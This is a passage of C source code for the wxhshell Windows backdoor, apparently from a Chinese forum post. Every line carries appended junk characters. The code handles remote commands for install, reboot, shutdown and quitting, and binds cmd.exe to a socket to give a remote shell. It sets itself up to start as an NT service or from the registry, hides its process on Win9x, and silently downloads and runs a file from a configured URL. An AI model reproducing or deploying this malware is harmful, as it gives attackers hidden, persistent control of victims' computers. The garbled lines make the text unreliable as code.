  else { {s~t>Rp+  
E9PD1ADR  
    switch(cmd[0]) { "P8cgj C  
  ]dQ  
  // 帮助 -jL10~/  
  case '?': { PRyzUG&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {{e+t8J??  
    break; \PgMMc4'  
  } eih~ SBSH  
  // 安装 d<afO?"  
  case 'i': { ynG@/S6)K  
    if(Install()) iig@$ i#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fk?(mxx"  
    else WRfhxl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3^p;'7x  
    break; ]ZM-c~nL  
    } ./E<v  
  // 卸载 u75(\<{  
  case 'r': { >iFi~)i_4y  
    if(Uninstall()) `ouCQ]tKz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nd61ns(N  
    else 5vqh09-FB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Gi* BB  
    break; z)]Br1  
    } Id 40yER  
  // 显示 wxhshell 所在路径 {,zn#hU.R  
  case 'p': { PitDk 1T  
    char svExeFile[MAX_PATH]; {qPu }?0  
    strcpy(svExeFile,"\n\r"); 9|1J pb  
      strcat(svExeFile,ExeFile); w]Z:Y`  
        send(wsh,svExeFile,strlen(svExeFile),0); IRB BLXv7\  
    break; }C9P--  
    } Rkz[x  
  // 重启 szU_,.\  
  case 'b': { '7/c7m/$X<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W)m\q}]FYz  
    if(Boot(REBOOT)) -4nSiI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J:Ncy}AO  
    else { s2iL5N|"Q  
    closesocket(wsh); @}iY(-V  
    ExitThread(0); g0-J8&?X  
    } p;YS`*!s  
    break; tAH0o\1;  
    } W>(p4m  
  // 关机 3eJ"7sftW  
  case 'd': { .]H1uoci|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2vx1M6a)L  
    if(Boot(SHUTDOWN)) ! )PV-[2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AWn$od`#s  
    else { 4]%v%6 4U  
    closesocket(wsh); },(Ln%M  
    ExitThread(0);  ~xV|<;  
    } Ym/y2B(  
    break; Z^SF $+UN  
    } x^P~+(g  
  // 获取shell >'96SE3  
  case 's': { 0dKi25J  
    CmdShell(wsh); xRPU GGv  
    closesocket(wsh); ]J>{ZL   
    ExitThread(0); `u7"s'  
    break; iP^o]4[c  
  } \rY<DxtOq  
  // 退出 K"U[OZC`  
  case 'x': { @Zov&01  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -iJ @K  
    CloseIt(wsh); ,CA3Q.y>|  
    break; EwH_k  
    } <\C/;  
  // 离开 } qn@8}  
  case 'q': { i*-L_!cc:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H_<hZ UB  
    closesocket(wsh); > lIQM3  
    WSACleanup(); E{B=%ZNnm  
    exit(1); |$aTJ9 Iq:  
    break; >,s.!vpK  
        } #> @~3kGg  
  } b Q6<R4  
  } dyMj=e  
WyD L ah^/  
  // 提示信息 n%1I}?$fO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i%eq!q  
} rLzN #Zoi  
  } xD3Y-d9  
'2BE"e  
  return; mhZ60RW  
} {Mx3G*hr  
8O0E;6b  
// shell模块句柄 -^+!:0';  
int CmdShell(SOCKET sock) NT}r6V(Aju  
{ [$[1|r *Q  
STARTUPINFO si; +X&b  
ZeroMemory(&si,sizeof(si)); Zr U9oy&!C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?*h 2:a$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i`)h~V|G  
PROCESS_INFORMATION ProcessInfo; ~i ImM|*0  
char cmdline[]="cmd"; g8^YDrH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qS{E+)P  
  return 0; s#*T(pY  
} [h^>Iq (Z  
Gcz@z1a=n  
// 自身启动模式 4W$ t28)  
int StartFromService(void) .uGvmD <;x  
{ X[Q:c4'  
typedef struct .*z Wm  
{ q" aUA_}\  
  DWORD ExitStatus; 2IGoAt>V  
  DWORD PebBaseAddress; X[{tD#  
  DWORD AffinityMask; cun&'JOH?U  
  DWORD BasePriority; 7@*l2edXm+  
  ULONG UniqueProcessId; /degBL+  
  ULONG InheritedFromUniqueProcessId; UZ` <D/  
}   PROCESS_BASIC_INFORMATION; +^\TG>le  
1ehl=WN  
PROCNTQSIP NtQueryInformationProcess; t'pY~a9F  
]&mN~$+C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uO,9h0y0W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E,nxv+AQ  
50l! f7  
  HANDLE             hProcess; ,-GkP>8f(  
  PROCESS_BASIC_INFORMATION pbi; Ja@zeD)f"  
f8c'`$O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _R 6+bB$  
  if(NULL == hInst ) return 0; ySEhi_)9^  
Xi~%,~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2l#c?]TA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vL,:Yn@b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &+v!mw>  
Xbp~cn  
  if (!NtQueryInformationProcess) return 0; v3`k?jAaI  
ZFNn(n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &rmXz6 F  
  if(!hProcess) return 0; SL O~   
I}S~,4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  9AgTrP  
m\hzQ9  
  CloseHandle(hProcess); ?Dr K2;q  
--}5%6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !iO%?nW;  
if(hProcess==NULL) return 0; 6yN8 (&`  
SZhW)0  
HMODULE hMod; #2~-I  
char procName[255]; )*wM DM5q  
unsigned long cbNeeded; E1&9( L5  
4%s6 d,6"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p]-\\o}  
7|/Ct;oO:  
  CloseHandle(hProcess); f=L&>X  
Q*J8`J:#^R  
if(strstr(procName,"services")) return 1; // 以服务启动 ~5Cid)Q}@o  
:p@.aD5  
  return 0; // 注册表启动 &Oih#I  
} VoTnm   
bz1+AJG  
// 主模块 Hido[  
int StartWxhshell(LPSTR lpCmdLine) 1YrIcovi-  
{ Z Vin+z  
  SOCKET wsl; +6$|No  
BOOL val=TRUE; 'fGB#uBt  
  int port=0; $gv3Up"U  
  struct sockaddr_in door; 7`c\~_Df_  
aA|<W g  
  if(wscfg.ws_autoins) Install(); ~.*G%TW &V  
.a0]1IkatV  
port=atoi(lpCmdLine); $k,wA8OZ-  
A./ VO  
if(port<=0) port=wscfg.ws_port; `v|w&ty*  
1ab_^P  
  WSADATA data; ,_N+t:*#0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pmIOV~K  
$:i%\7=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wIbxnn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \@}G'7{  
  door.sin_family = AF_INET; fy6<KEea  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NZTG)<  
  door.sin_port = htons(port); UCz\SZ{za  
}^@Q9<P^E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iaAj|:  
closesocket(wsl); IOjp'6Yr  
return 1; 5x=aJl;G  
} y$Rr,]L  
VPh0{(O^=  
  if(listen(wsl,2) == INVALID_SOCKET) { ;Eer  
closesocket(wsl); =,])xzG%  
return 1; T{"[Ih3Mbl  
} KqD]GS#(  
  Wxhshell(wsl); Oe/&Ryj=mm  
  WSACleanup(); hT0[O  
<*/IV<  
return 0; %wDE+&M  
>STAPrBp+  
} zarxv| }$  
b5@sG^  
// 以NT服务方式启动 v/m} {&K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )9]DJ!]&Q"  
{ .S{FEV  
DWORD   status = 0; QCD MRh n  
  DWORD   specificError = 0xfffffff; J_|LG rt})  
x%!Ea{ s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n`Y"b&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0|J]EsPxu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "?X,);5S  
  serviceStatus.dwWin32ExitCode     = 0; A5\00O~  
  serviceStatus.dwServiceSpecificExitCode = 0; X9-WU\?UC  
  serviceStatus.dwCheckPoint       = 0;  mdtG W  
  serviceStatus.dwWaitHint       = 0; %tvP\(]h  
cS2PrsUx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4m:D8&D_M  
  if (hServiceStatusHandle==0) return; ^7Hwpn7E  
kF@Z4MB}yr  
status = GetLastError(); VL?sfG0  
  if (status!=NO_ERROR) Mjon++>Z  
{ $1E'0M`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <3)k M&.B  
    serviceStatus.dwCheckPoint       = 0; sP'U9l  
    serviceStatus.dwWaitHint       = 0; Sk6B>O<:  
    serviceStatus.dwWin32ExitCode     = status; zJ $&`=  
    serviceStatus.dwServiceSpecificExitCode = specificError; '-l.2IUyT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9zL(PkC%\  
    return; E xls_oSp  
  } }mYxI^n  
7K 'uNPC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zzH^xxg  
  serviceStatus.dwCheckPoint       = 0; )z^NJ'v4(  
  serviceStatus.dwWaitHint       = 0; lZr}F.7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s0To^I  
} _t/~C*=:=  
BI|TM2oa  
// 处理NT服务事件,比如:启动、停止 z%E ok  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  CK"OHjR  
{ tgVMgu  
switch(fdwControl) .}c&" L;W  
{ &Yklf?EZ>Q  
case SERVICE_CONTROL_STOP: i< b-$9  
  serviceStatus.dwWin32ExitCode = 0; Mgp+#w+,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L[cP2X]NQ  
  serviceStatus.dwCheckPoint   = 0; o}p^q:T*  
  serviceStatus.dwWaitHint     = 0; rHa*WA;TE  
  { z @21Z`,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L+X:M/)  
  } )vsX (/WU  
  return; <0!O'" "J  
case SERVICE_CONTROL_PAUSE: YctWSfh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PrKH{nyJk  
  break; U!\~LKfA  
case SERVICE_CONTROL_CONTINUE: xep8CimP'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W;T 5[  
  break; Ntt*}|:QV<  
case SERVICE_CONTROL_INTERROGATE: w$DHMpW'  
  break; t }YT+S  
}; &e6!/y&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^?8/9 o  
} vk4Q2P  
/U 3Uuk:  
// 标准应用程序主函数 /&  W&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0NF=7 j  
{ ZYS]Et[Q  
{ldt/dl~  
// 获取操作系统版本 bP Q=88*  
OsIsNt=GetOsVer(); 6E#znRi6IE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dSI<s^n  
we/sv9v}n  
  // 从命令行安装 cSTF$62E  
  if(strpbrk(lpCmdLine,"iI")) Install(); (6*  
v{X<6^g  
  // 下载执行文件 !$hi:3{U ,  
if(wscfg.ws_downexe) { NZ"nG<;5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r])V6 ^U  
  WinExec(wscfg.ws_filenam,SW_HIDE); 82M` sk3.  
} U0;pl2  
VTa%  
if(!OsIsNt) { 5HaI$>h6  
// 如果时win9x,隐藏进程并且设置为注册表启动 c;Gf$9?iC  
HideProc(); EO`eg]  
StartWxhshell(lpCmdLine); ?2%;VKN4  
} U,K=(I7OBX  
else &/n*>%2  
  if(StartFromService()) 1Ror1%Q"?  
  // 以服务方式启动 3yrb7Rn3  
  StartServiceCtrlDispatcher(DispatchTable); G*f\ /  
else P~M[i9 V  
  // 普通方式启动 1,(WS F  
  StartWxhshell(lpCmdLine); PX*}.L *x  
1\a.o[g3e  
return 0; W\2 ']7}e  
}
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只看该作者 1 发表于: 2006-10-10
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